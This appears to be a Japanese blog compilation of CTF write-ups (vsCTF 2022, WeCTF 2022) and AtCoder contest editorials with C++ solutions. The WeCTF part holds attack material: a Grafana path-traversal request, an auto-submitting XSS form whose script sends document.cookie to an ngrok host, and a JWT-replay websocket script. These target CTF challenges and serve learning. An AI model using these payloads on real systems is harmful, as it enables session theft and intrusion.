vsCTF (2022?) Writeups

2336点で65位/635。
んー、Web問…

[Web] Sanity Check

• Burpで与えられたURLを開いてソースを眺めると、フラグが書いてある
• curl https://challs.viewsource.me/sanity-check/ | grep vsctf

Web何も分からなかった…

[Forensic] Portal Savior

• 一行目で検索すると、PortalのAIFファイルという形式と分かる
• http://portalwiki.asshatter.org/index.php/Aperture_Image_Format.html っぽい
  • ここの「Method 1 (Precompiled)」を使えば開けそう
  • DATAというフォルダにあるAPERTURE.APFとかを見ると似たような形式になっていることが分かる
• ちょっとファイル形式がおかしいので、フォーマット形式を見ながら修正する
  • (c) Doug Rattman 1985 All Rights Reserved!は要らないので消す
  • 改行回りがおかしいので、APERTURE.APFを見ながら改行を調整
• 修正できたら、DATAフォルダのAPERTURE.APFを修正後のmaydayに置き換えると、隠された文字列が表示されてくる

[Forensic] Roblox 1

• adファイルが2つ与えられる。FTK Imagerで開く
• Robloxとはゲームっぽいので、とりあえずAppData回りを探してみるとRoblox関連のフォルダがあるのでダンプしてくる \\Users\adminbot6000\AppData\Local\Roblox
• vscodeで開いて、nameで検索して適当に眺めているとftcsvisgreatという名前が出てくる。フラグフォーマットにくるんで提出すると通る

[Forensic] Roblox 2

• ftcsvisgreatで検索して周辺を探っていくと、IDは3635455297であると分かる
• logsフォルダを見ればよさそうなので、フォルダを限定してuserで検索する。大量に結果が出てくるので3635455297に関連するものを削除すると、もう一つユーザーが見つかる
• 0.531.0.5310423_20220620T033202Z_Player_9BB0E_last.logにてamazingmaltというユーザーを見つけることができる
• [FLog::GameJoinUtil]でそのログを見てみると、番号っぽいものが得られるのでrobloxでゲームが探せる画面を探して調べると、69184822という番号でゲームが見つかる
  • https://www.roblox.com/games/69184822/Theme-Park-Tycoon-2
• vsctf{themeparktycoon2}でフラグ獲得

[Crypto] Recovery

• validate関数を読み込んでいく
• passwordは49文字で、偶奇の文字は判定方法が異なる
• 奇数番目の文字は前半部分のreturn Falseらへんまでで判定
  • for a, b in enumerate(zip(gate, key), 1):という感じでlen(b[1]) != 3 * (b[0] + 7 * a) // aを判定している
  • b[1]はその上のkey = ...で作っているが、passwordの奇数番目を後ろから1個飛ばしで取ってきたもののascii個数分7vs8vs9vs...みたいにくっつけている。
  • key, gateの宣言の下で
    • for a, b in enumerate(zip(gate, key), 1):
      • print(chr((3 * (b[0] + 7 * a) // a - 2) // 3 + 1))みたいにすれば奇数番目が逆順で手に入る
• 偶数番目の文字は後半部分で判定している
  • hammer = {str(a): password[a] + password[a + len(password) // 2] for a in range(1, len(password) // 2, 2)}を読み解くことになる
  • まあ、入力を適当に入れて、print(hammer)をして中身を見てみるのが手っ取り早い
  • 偶数番目だけ持ってきて、半分に分割して前半と後半の2つにしたら、[前半の先頭][後半の先頭]1として先頭をどっちも取り除いて、ドットつけて、[前半の先頭][後半の先頭]3...みたいにして文字列を作っている
  • blockの中身をbase64デコードして、ルールに従ってばらせばフラグ完成
• vsctf{Th353_FL4G5_w3r3_inside_YOU_th3_WH0L3_T1M3}

[Misc] Hexahue Hate!

• hexahueでデコードされた画像が渡されるので、ただただデコードするだけ
• 多分普通にやっていたらマジでhateだったと思うが、調べるとkusuwadaさんの素晴らしいデコーダーがある kusuwada/hexahue: Hexahue decoder and encoder
• hexahue_decodeメソッド内部を位置調整する感じでリライトするとデコードできる
• デコード文章をジーっと見つめるとTHE MESSAGE YOU SEEK IS IHATEHEXAHUESOMUCHPLEASEHELPとあるので、vsctfにくるんで提出

XX to XXX [AtCoder Beginner Contest 259 C]

https://atcoder.jp/contests/abc259/tasks/abc259_c

あるといい知識

• （自分の解法では）ランレングス圧縮

解説

https://atcoder.jp/contests/abc259/submissions/33113322

ランレングス圧縮というものを知っていると少し解きやすかったかもしれない。

性質を探る

どうやったらSに変換処理を加えていってTにできるかを考えてみる。
簡単な性質から考えてみよう。

変換処理では2つ以上同じ文字が並んでいるときに、その文字を増やすような処理ができる。
既にある文字しか増やせないし、かつ、その同じ文字の隣にしか増やせない。
つまり、どのように変換しても存在しない文字は生み出せないし、変換によって文字の種類の順番を入れ替えることはできない。
ここから重要な性質として言えるのが
「Sに含まれる同じ文字をグループ化したときに同じような文字種構成になっていないといけない」
ことが分かる。

入力例1で考えてみる

abbaac
abbbbaaac

同じ文字をグループ化してみよう

[a][b][a][c]
[a][b][a][c]

同じような見た目になった。
このようなグループ化を行った場合にTが[a][b][c]や[a][b][a][b]のようになった場合は変換できない。
同じ見た目であれば、必ず変換可能だろうか？

更に性質を探る

入力例2がちょうどいい。

xyzz
xyyzz

同じ文字をグループ化してみよう

[x][y][z]
[x][y][z]

同じ見た目になったが、答えはNoが正しい。
これはSのyは1つなので、変換ルールを使って2つ以上に増やすことができないためである。
このような個数にまつわるルールがありそうだが、この変換ではそれを評価することはできない。グループ時に個数も保持することにしよう。

[x1][y1][z2]
[x1][y2][z2]

こうやって見てみると、個数が同じものは変換が必要ないので無視できて、yだけを評価すればいいが、
Sのyが1個なので、2個に増やすことができないので変換できないとなった。
この形式であれば適切な評価ができそうだ。

ルールをまとめる

まずは、S,Tに対して、同じ文字について個数をまとめる変換をしよう。xyyzz -> [x1][y2][z2]
グループの個数が同じで、かつ、出てくる文字の種類と順番が等しければ、大きなまとまり的にはOK。
各グループが変換できるかを考えると、

• [x1] -> [x1] は何もしないからOK
• でも、[x1] -> x[2]は1個しかないので無理
• [x2] -> [x4] のように元々2個以上あれば、元々あった個数以上に増やすことは可能
• 逆に[x2] -> [x1]のように元々あった個数以上に増やすことは無理

といった感じになるので、「1->1」、もしくは、「2以上->元々の個数以上」であればOKということになる。
これらを全てチェックして問題なければYes, 1つでもダメならNoを返すと答えになる。

実装は？

実装で躓いた人もいるかもしれない。
この文字種でグループ化して個数と共に保持するという変換方式は「ランレングス圧縮」と呼ばれる圧縮方法となる。
ランレングス圧縮のアルゴリズムについては、恐らく検索してもらった方が記事の質もいいし、早いので
「ランレングス圧縮 競プロ」あたりで検索して勉強するといいと思う。

自分の実装ではランレングス圧縮したら {文字,個数} の配列が圧縮結果として出力される関数を用意して
全体の実装を行った。
main関数だけ追ってもらえれば、全体の雰囲気が分かるかもしれない。

vector<pair<char, int>> runLengthEncoding(string s) {
    int n = s.length();

    vector<pair<char, int>> res;
    char pre = s[0];
    int cnt = 1;
    rep(i, 1, n) {
        if (pre != s[i]) {
            res.push_back({ pre, cnt });
            pre = s[i];
            cnt = 1;
        }
        else cnt++;
    }

    res.push_back({ pre, cnt });
    return res;
}







string S, T;

#define YES "Yes"
#define NO "No"
string solve() {
    auto vs = runLengthEncoding(S);
    auto vt = runLengthEncoding(T);

    if (vs.size() != vt.size()) return NO;
    
    int N = vs.size();
    rep(i, 0, N) {
        if (vs[i].first != vt[i].first) return NO;
        if (vs[i].second > vt[i].second) return NO;
        if (vs[i].second == 1 && 1 < vt[i].second) return NO;
    }

    return YES;
}

void _main() {
    cin >> S >> T;
    cout << solve() << endl;
}

Circumferences [AtCoder Beginner Contest 259 D]

https://atcoder.jp/contests/abc259/tasks/abc259_d

前提知識

• 幾何：円上に点があるかの判別、2円の交差判定
• 到達可能性判定

解説

https://atcoder.jp/contests/abc259/submissions/33122718

今回の問題は前提として、幾何の以下の判定方法を知っている必要がある

• 円上に点があるか
  • 良いサイト無かったが、円の中心と点との距離 = 半径
• 2円の交差判定 https://examist.jp/mathematics/figure-circle/two-circle/

問題を分割しながら、要求されていることをかみ砕いていく

今はどうか分からないが、ICPCではよくこのような問題が出ていた。
問題を分割して、個別に解決していくことにしよう。

まずは、点Sから点Tに行くことができるかという部分について考えてみよう。
入力例1の図で考えてみると、
点S -> 青い円 -> 赤い円 -> 緑の円 -> 点T
のような流れで行くことができている。
無意識に図を見て、このように判断しているが、判断を分割化してみよう。

まず、点Sがどの円の上にあるかがまず気になる所である。
で、どの円にあるか、というのが特定できたら、次はその円と交わっている円を探しているはずだ。
で、交わっている円から直感的に点Sに近くなりそうな円を使って移動して、点Tに最終的に移動している。

点Sが青い円にあることはすぐに分かるし、点Tが緑の円にあることもすぐわかる。
かつ、点がどこにあるかというのはそれほど問題ではなく、点が乗っている円が特定できたら、
後はその始点となる円から終点となる円に交差している円を通って移動可能かだけが問題となる。

何が必要？

今書いたようなことは分かるわいという人も多いかもしれない。
必要とされていることを書き下してみよう

• とある点がどの円の上にあるかを特定する
• 与えられている円と円が交差しているかどうかを判定する
• とある円からとある円に対して交差している円を通って到達可能かを判定する

上2つは幾何的な知識があれば、解決できるが、最後はどうだろうか。
到達可能性判定と言えばBFSだが、BFSといえばグリッドとかグラフとかだけど…

到達可能性判定、グラフの問題に帰着させる

グラフの問題に帰着させることができる。
（わざわざグラフと解釈しないでそのまま解いてもいいんだけれども）
円をグラフの頂点と考えることにする。
そして、頂点間の辺は移動可能ならつなげるようにする。
移動可能というのは2つの頂点、つまり、円が交差しているときであるため、交差しているなら、2つの頂点間に辺を張る。
すると無向グラフが出来上がり、点Sがある円に対応する頂点が始点で、点Tがある円に対応する頂点が終点となる。

あとは、このグラフ上でBFSをしながら、始点から終点に到達可能かを判定すれば答えを導くことができる。

実装に関する注意点

幾何問題なので、自分は幾何ライブラリを持ってきてしまったが、今回の判定は全部整数で行うことができ、下手にdoubleを経由するとWAだった。
2点間の距離を良く求めることになるかと思うが、例えば、円上に点があるかの判定のときに

(とある円の中心とチェックしたい点との距離) == (とある円の半径)

をチェックしたいと思うが、左辺は平方根を取るため、整数に収まらない。
よって、誤差を最小化するよう、整数でチェックするために、どちらも二乗をして、

(とある円の中心とチェックしたい点との距離)² == (とある円の半径)²

で判定すること。
「与えられている円と円が交差しているかどうかを判定する」ときも同様に二乗した状態で判定することにしよう。
intだとオーバーフローするのでlong longを利用すること。

実装については自分の実装も参考にしてみてほしい。

int N;
ll sx, sy, tx, ty;
ll x[3010], y[3010], r[3010];

int getCircleOn(int px, int py) {
    rep(i, 0, N) {
        ll dist2 = abs(px - x[i]) * abs(px - x[i]) + abs(py - y[i]) * abs(py - y[i]);
        if (dist2 == r[i] * r[i]) return i;
    }
    return -1;
}

#define YES "Yes"
#define NO "No"
string solve() {
    int start = getCircleOn(sx, sy);
    int end = getCircleOn(tx, ty);

    //
    // makeEdges
    // ================================
    vector<int> E[3010];
    rep(i, 0, N) rep(j, i + 1, N) {
        ll dist2 = abs(x[i] - x[j]) * abs(x[i] - x[j]) + abs(y[i] - y[j]) * abs(y[i] - y[j]);

        if ((r[i] + r[j]) * (r[i] + r[j]) < dist2) continue;
        if (dist2 < abs(r[i] - r[j]) * abs(r[i] - r[j])) continue;

        E[i].push_back(j);
        E[j].push_back(i);
    }

    //
    // checkReachable
    // ================================
    queue<int> que;
    set<int> visited;

    que.push(start);
    visited.insert(start);

    while (!que.empty()) {
        int cu = que.front();
        que.pop();

        if (cu == end) return YES;

        fore(to, E[cu]) if (!visited.count(to)) {
            que.push(to);
            visited.insert(to);
        }
    }

    return NO;
}

void _main() {
    cin >> N >> sx >> sy >> tx >> ty;
    rep(i, 0, N) cin >> x[i] >> y[i] >> r[i];
    cout << solve() << endl;
}

Addition and Multiplication 2 [日鉄ソリューションズプログラミングコンテスト2022（AtCoder Beginner Contest 257） E]

https://atcoder.jp/contests/abc257/tasks/abc257_e

前提知識

• （構築テクに似たようなものがある。ここのテク2）

解説

https://atcoder.jp/contests/abc257/submissions/32754197

この問題は貪欲法で解く。
アドホックな解法ではあるが、方針としてはテクとしてよく見られる方法の1つ。

何が一番大切か

答えを最大化したいと考えたときに何が優先されるだろうかを考えてみる。
数字は何よりもまず桁数が大きい方が大きい数になるので、なるべく桁数は多くなる方がいい。
桁数を多くなるには支払うお金が最も少ない数だけを使って構築するのがいい。
なので、答えの桁数については比較的簡単に求めることができる。

支払いの最小金額minCを求めておくと、答えの桁数はN/minCの切り捨てで求めることができる。
これよりも桁数を増やせないことは自明だし、これよりも桁数が小さい数を使っても答えの最大化は
達成できないので、とりあえずこれはこれでよさそう。

なぜ答えの桁数を先に求めるのか、みたいな疑問はありそうだが、
元々似たような状況の問題を解いたことがあるからテクニック的に方針を導いたというのもあるし、
色々な解法を考えた中で答えにたどり着いた1つのパス上にあったというのもある。
（こういうアドホック貪欲は色んな可能性を探っていくことになります）

頭から貪欲に整合性が保たれるように決めていく

桁数が最大化されたら、より大きい数を構築するには上の桁ほど大きい数が採用できればいい。
7???よりも9???の方が???がなんであれ大きいので上の桁の数を最大化するのが最優先である。
この部分は上の桁から順番に大きい数を使ったときに残りの桁数を残りのお金で構築できるかを判断して埋めていく。
大きい数を順番に入れていくことを考えるが、その数を採用してしまうと残りの桁が埋められないという
状況になっていれば使用することはできない。
だが、逆に使用することができるならば、絶対に使用した方が数は他の選択よりも大きくなる。
このように「頭から貪欲に整合性が保たれるように決めていく」という方針は構築問題で見られるテクの1つ。
（見方によってはこの問題も構築問題ですね…）

この方針の一部にある「残りの桁数を残りのお金で構築できるか」という問題については、
桁数の最大化の時に利用した最小金額が役に立つ。
残りの桁数を残りのお金で構築する最適な方法は最小金額の数で埋めてしまうことなので、
これで埋めることができるかどうかを判定材料としよう。

int N, C[10];

void _main() {
    cin >> N;
    rep(x, 1, 10) cin >> C[x];

    int min_C = inf;
    rep(x, 1, 10) chmin(min_C, C[x]);

    int max_len = N / min_C;

    string ans = "";
    rep(len, 0, max_len) rrep(x, 9, 1) {
        int rest_len = max_len - len - 1;
        int rest_N = N - C[x];

        if (0 <= rest_N && rest_len <= rest_N / min_C) {
            ans += char('0' + x);
            N -= C[x];
            break;
        }
    }
    cout << ans << endl;
}

Jumping Takahashi 2 [日鉄ソリューションズプログラミングコンテスト2022（AtCoder Beginner Contest 257） D]

https://atcoder.jp/contests/abc257/tasks/abc257_d

前提知識

• 二分探索
• BFS （BFSを使わなくても良いやり方もある）

解説

https://atcoder.jp/contests/abc257/submissions/32753407

何から考え始めるか

いつものように全探索解法がないか探してみる。
全探索できそうなのはSの値か、始点となるジャンプ台くらいな感じがする。
この辺りから考え始めていき、Sの値の全探索の方で使えそうな属性が浮かび上がってくる。

Sの値を増やしていくとジャンプすることができる遷移がどんどん増えていくことになる。
そして、大事なのが、Sの値を増やしても前使えた遷移が使えなくなることがないということ。
ここから何が言えるかというと、Sの値をどんどん増やしていくと、
あるSの値を境に高橋君の目的が達成されるようになるということである。
問題では、最低何回訓練を行う必要があるかという問であるので、ちょうどこの「あるSの値」が答えになっている。

ここまで考察が進んでいれば、あとは知っていれば解法のとっかかりが見えてくる。
このようなある境界より前は条件を満たさず、ある境界より後は条件を満たすような境界を探すときは、
二分探索が有効である。
もし知らない場合は、この方針で解くのは難しいだろう。

二分探索

以下のような評価のための関数を用意しよう。

check(S) := 指定されたSについて高橋君の目的を達成することができるか

二分探索で問題になるのが探索範囲であるが、xyの値の範囲を見ると右辺の最大値は4×10⁹になりそうである。
Pの最小値が1であることを考えると探索範囲の最大値は4×10⁹以上にしておく必要がありそうだ。
自分は念のため+1した値を最大値とした。

計算過程でintにおさまらない可能性があるので、intは使わずlong longで変数を各種用意している。

check関数の中身

あとは、check関数が適切に実装できれば答えになる。
色々解法があるように思えるが、始点とするジャンプ台を全探索することで解いた。
各全探索では、始点とするジャンプ台startからの遷移で他のジャンプ台に行けるかどうかの判定が必要となる。
これはbfsを使って判定している。
bfsをする過程で到達済みの要素を保存しておくことになるが、これがbfs後に到達可能性な要素となる。
bfsを到達可能性判定に使用することもよくあるので覚えておくといい。
1つでも全部到達可能な始点があればtrueで、1つもないならfalseと返せばcheck関数完成。

int N;
ll x[201], y[201], P[201];

bool canMove(ll S, int from, int to) {
    return P[from] * S >= abs(x[from] - x[to]) + abs(y[from] - y[to]);
}

bool check(ll S) {
    rep(start, 0, N) {
        set<int> visited;
        queue<int> que;

        visited.insert(start);
        que.push(start);

        while (!que.empty()) {
            int cur = que.front();
            que.pop();

            rep(to, 0, N) if (to != cur) {
                if (canMove(S, cur, to) && !visited.count(to)) {
                    visited.insert(to);
                    que.push(to);
                }
            }
        }

        if (visited.size() == N) return true;
    }

    return false;
}

void _main() {
    cin >> N;
    rep(i, 0, N) cin >> x[i] >> y[i] >> P[i];

    ll ng = -1, ok = 4000000001LL;
    while (ng + 1 != ok) {
        ll md = (ng + ok) / 2;
        if (check(md)) ok = md;
        else ng = md;
    }
    cout << ok << endl;
}

Robot Takahashi [日鉄ソリューションズプログラミングコンテスト2022（AtCoder Beginner Contest 257） C]

https://atcoder.jp/contests/abc257/tasks/abc257_c

前提知識

• SegTree （だが、使わない解法もあると思う）

解説

https://atcoder.jp/contests/abc257/submissions/32751195

全探索解法に向けて

まずは全探索解法がないかを模索してみる。
Xが実数全体を動くとされているが、実数空間を全探索することはむずかしい。
よりXの値を分かりやすく設定でき、かつ、意味のあるものにできないか？

体重が{2,5,9}をサンプルとして考えてみる。
まず、X=1とすると、全ての人は大人であると期待されることになる。
境界線を|と書くことにすると|259のような状況を考えていることになる。
X=1の次にX=1.5を考えてもよさそうだが、これは状況的には|259と全く変わりがない。
次に状況が変わるのは、Xが2を上回ったときである。
例えばX=3の時は2|59となるので、これは違う状態としてチェックが必要である。
次はX=4もよさそうだが、これも状況が変わらないので次はX=6あたりで25|9をチェックすることにする。
つまり、全探索するべきものはXというより「境界線」であり、
境界線は数の間と前後に置くことができるのでN+1通りとなる。
具体的に{2,5,9}のサンプルでいうと|259 2|59 25|9 259|の4通り。

まとめると、実数全体では全探索のイメージがつかめないので、境界線を全探索する。

全探索解法でやること

順番が答えに影響することはないので、体重についてはソートしておこう。
一旦、体重が同じ人がいないものと考えていこう。
全探索で境界線をおくと、正直具体的な体重については特に興味がなくなるので、
|010 0|10 01|0 010|
みたいな状態に対して境界線より前に0が何個あるか、後ろに1が何個あるかを求めて和を取ればf(X)になる。

このように「とある境界より前にある0の個数」「とある境界より後ろにある1の個数」が高速に求められれば、
境界線を全探索しても解けそうだ。

個数を数えるには

この部分は色々やり方が存在する。
一番計算量がよさそうなのは累積和を使用する方法だし、
境界線を全探索しながら差分だけ計算していくやり方もあるだろう。

一旦計算量は悪いが、データ構造を素直に適用するSegTree解法を紹介しておく。
Segtreeはとある配列に対して区間の総和などが取れるデータ構造である。
AtCoder Libraryにもある。
（説明は結構大変なので、SegTreeを知らない場合は一旦問題を止めてググってみてください…）
0用と1用の2つのSegTreeを用意しよう。

zero[L,R] = 区間[L,R)にある0の個数を返す
one[L,R] = 区間[L,R)にある1の個数を返す

詳しい実装はソースコードを見てもらう方が分かりやすいと思う。
zeroについては0がある場所に1を置いておけば区間総和すれば、区間にある0の個数が返ってくる。
これを使えば、zero[0,x) + one[x,N)みたいな感じでf(X)を求めることができる。
あとは、それの最大値を答えればAC。

体重が同じものはどうするか？

極端な例として、体重が同じ3名がいて、001みたいな大人子供設定だったとする。
体重で単純にソートして、大人子供の01でもソートすると001みたいな感じになる。
この状態で全探索をすると以下のようになる。
|001 0|01 00|1 001|
こうすると3番目で一番良い結果が出て3が答えになるように見えるが、
実際は全員同じ体重なので境界線が中途半端な所に来ることはなく、
|001 001|
の2択しかありえない。
よって単純にソートしてしまうと問題が発生する。

ちゃんとやるなら、体重が同じ人をまとめてしまって、
上のsegtreeでは1ではなくて人数を入れるのがいいと思うが、自分はソートを工夫することで切り抜けた。

体重で昇順ソートをして、大人子供設定は降順ソートすることにする。
この場合でも状態として
|100 1|00 10|0 100|
が発生してしまうが1と0が反転しているおかげで、中途半端に境界線が入っている状態がそうでないものよりも
よいf(X)になってしまうことを防いでいる。
この状態ではより良い結果を出すためには境界線を先頭か末尾に入れるしかなくなるので、
最大値を最終的に取ったときに中途半端な状態は無視される。
このような工夫で体重の重複を乗り切った。

int N;
string S;
int W[201010];
vector<pair<int, char>> WS;

int op(int a, int b) { return a + b; }
int e() { return 0; }

void _main() {
    cin >> N >> S;
    rep(i, 0, N) cin >> W[i];
    rep(i, 0, N) WS.push_back({ W[i], -S[i] });
    sort(all(WS));

    segtree<int, op, e> zero(vector<int>(N, 0));
    segtree<int, op, e> one(vector<int>(N, 0));
    rep(i, 0, N) {
        if (-WS[i].second == '0') zero.set(i, 1);
        else one.set(i, 1);
    }

    int ans = -1;
    rep(i, 0, N + 1) chmax(ans, zero.prod(0, i) + one.prod(i, N));
    cout << ans << endl;
}

WeCTF 2022 Writeups

Dino Run

恐竜で遊ぶゲームが起動する。
フラグが右下にあるようなので移動しよう。
盤面がそれほど大きくないこともあり、フラグマスに到達でき、表示されたフラグが答え

Grafana

• Grafana v8.3.0 (914fcedb72)が使用されている
  • 調べるとLFI脆弱性がある https://www.exploit-db.com/exploits/50581
• PoCはそのまま動かさず、PoCを見ながら手動でポチポチしていたら以下でフラグが手に入った。 GET /public/plugins/state-timeline/../../../../../../../../tmp/flag

Google Wayback

• 脆弱性をざっくりがしてみる
  • search.phpの29行目に単純なXSSがある<?php echo $_GET["q"]; ?>。だが、search.phpにはRecaptchaがついているので、踏ませるためにはこれをbypassさせる必要がある。
• Recaptchaのbypass
  • これは、自分でチャレンジレスポンス（用語あってるかな？）を用意して、与えることでbypassする CAPTCHA does not prevent cross-site request forgery (CSRF) - Detectify Blog
  • RecaptchaのPOST /recaptcha/api2/userverifyの戻り値の2番目あたりにチャレンジレスポンスがあるので、これを相手に踏ませることにする
• POST経由でのXSSとなる
  • これはフォームを用意して踏ませればいい Exploiting XSS in POST requests | Blog - PortSwigger
• 単純なXSS部分
  • GETパラメタのqに</title><script>[js codes]</script><title>をやってやればいい
• この辺を前提にして、以下のようなhtmlのサイトを踏ませれば良い。

<form name=TheForm action="http://google.jp.ctf.so/search.php?q=/search.php?q=%3C/title%3E%3Cscript%3Efetch(%27https://.ngrok.io/test%27%2bencodeURI(document.cookie));%3C/script%3E%3Ctitle%3E" method=post>
    <input type=hidden name="q" value="x">
    <input type=hidden name="g-recaptcha-response" value="03AGdBq26UOKfM7KKXOADsY_CuVWK3rr3D6tvmIC6oIa5WF7H-F4HbAkrgD3vsatd4bTsZc3YMGx1kbVvmQs7VuzioLykj5qNF6hkroqUx96Xx_6uHtQo6cGrz6v_v7xjNw5flElRDkLhxXz2HGkjnniRqO-G3usNjW65Rk1ONs11YZb3bzljflKuyGiZkr17hcV8SV45OM9KZsBFsEU3XrNalCUE9KjJnsQbiyuH1kzpTE4LfczOykGRfpDBwhDtd7dxdL78-ORNXvyT4dhU3vPpUwfC6M6Y8ElaopQ56F1ta8CzegwjT5w5B01tkhrgiShBMX3oOyIK2yUFk4ywQ_g4D5Et93QFFl8KOzoHtXzWGq8UE8EabVbFaSV-ucpnkmwpvp97gNWtek03aWzCsjohbyci1vKfWApro1-ME4Vz6mNuteueCwEwwNHHcsTZCd_p3P4fGidT9rs2ALFwDzpKlEem1UTLfQA">
    <input type=hidden name="btnG" value="Google+Search">
</form>
<script>
document.TheForm.submit();
</script>

Dino Run (Extra Hard)

• コードリーディング
  • main.jsを読んでいるとwebsocketのconnectionのmessageくらいしか攻撃点がなさそう
  • JWTトークンも攻撃は難しそうだしな…と思って読み進める
  • up/down/left/rightの中のlet item = locationMap.get(decoded.key) || {};がひっかかる。null(undefined?)で落としてもよさそうだが、なぜか何とか動くようにしてある。これは使えそう
• up/down/left/rightでdeadで失敗する場合があるが、その場合はJWTトークンを再送すれば再チャレンジができる。成功できるまでトークンを使いまわすことで駒を進めていくことができそう。右下に到達すればフラグが得られると思う
• ほぼほぼ間違いないが適当にjsコードを書き換えて手元でやると確率が結構キツイ…以下のようにpythonコードを書いてひたすら待ってました
  • 初期トークンを入手したらそれと初期状態としてコマンド実行していく
  • 以下そのままでは動かないけれど、適当に出力見ながらやっていけばフラグが得られます
• (かなりサーバに負担がかかる回答で、非想定だったら本当にごめんなさい)

import asyncio
import websockets
import json

#ix = 0
#iy = 0
#start_token = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJwb3NpdGlvbiI6eyJ4IjowLCJ5IjowfSwiZGVhZCI6ZmFsc2UsImtleSI6Im9ka0lIYW5WNFA3a0xBU0RiamRESWNYdVhEK043WFNkL3YrZ09IbkMwRU09IiwibmFtZSI6ImV2aWxtYW4iLCJpYXQiOjE2NTQ5OTY3MTF9.iAkA67Txfy7XqNupZKZ2dYocUAvD1xv8v9-giyRdo_GePjIUDD6Lt3eGPsma32zsTdabKLydHt7Z2XH8bxUvmV89Yy2eAhJwux84PXBiSgWlGe7sm_1n4-4-16XANy7C3rDStgy2-QcyynrmI9gho_3nOwOJZ2T_sxF68NQr_AODtfDAfp9m4WsR4E9Y2JNqDTw0VNZjt_Uxq_SO_3dUXvmiVUmpw-xpG7oG5iK28meQSKg6pboYWQQUm9_-d32ZBVNdquFq-8bzfeHVnGVM-l73KnkEiV2hQZXIbjDxJ9u2pKWwZgmf7qaBE8QwBi1GIvD0ZCuc5VbyfgI_Ih-VHQ"

ix = 31
iy = 30
start_token = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJwb3NpdGlvbiI6eyJ4IjozMSwieSI6MzB9LCJkZWFkIjpmYWxzZSwia2V5Ijoib2RrSUhhblY0UDdrTEFTRGJqZERJY1h1WEQrTjdYU2QvditnT0huQzBFTT0iLCJpYXQiOjE2NTUwMTI1Njh9.hfN5sF5C68FCpUPnxFcDAGMM4NYS52ws7uYjFl9de34FFJIkyxQkdTprB4IMy0kk9qqAe3XPOW-mA30VdcRfpYcgoxdoy42Kl8XZOhWQS2osNMeNuemeeMQpWldI7k3681p-2ObKdgBVqYigjo2p7x6Lk3IWIlcwnaelKjYnwoGKRWnFet2lN888bHxTcgLA6fzW4ywsBFN_Q4KR6e1b3DTmoopftbKGJSUTIPMyU0o-XbP7nmTP4MXsK6qWcWRO33hHHm3Sb-0HC_vaDMRD006iXYxbf8zJKnDaZTq0CKzrYeO6QZIQPzHJ7HK8fLZntSbmdj4HfDwc_2x2-rKsvg"

async def solve():
    uri = "ws://backend-dino-run-hard.jp.ctf.so"
    async with websockets.connect(uri) as websocket:
        token = start_token
        i = ix + iy
        failed = 0

        while i < 31 * 2:
            com = "right" if i % 2 == 0 else "down"
            data = {"command": com, "token": token}
            await websocket.send(json.dumps(data))
            for _ in range(10):
                resp = json.loads(await websocket.recv())
                print(resp)
                if resp['command'] != "state":
                    break
            if resp['dead']:
                failed += 1
                #print(f"NG!{failed}", end="")
                #sys.stdout.flush()
            else:
                token = resp['token']

                i += 1
                x = i // 2 + i % 2
                y = i // 2
                failed = 0

                print(f"\nOK! You can move! x:{x} y:{y} token:{token}")
            await asyncio.sleep(0.1)

asyncio.get_event_loop().run_until_complete(solve())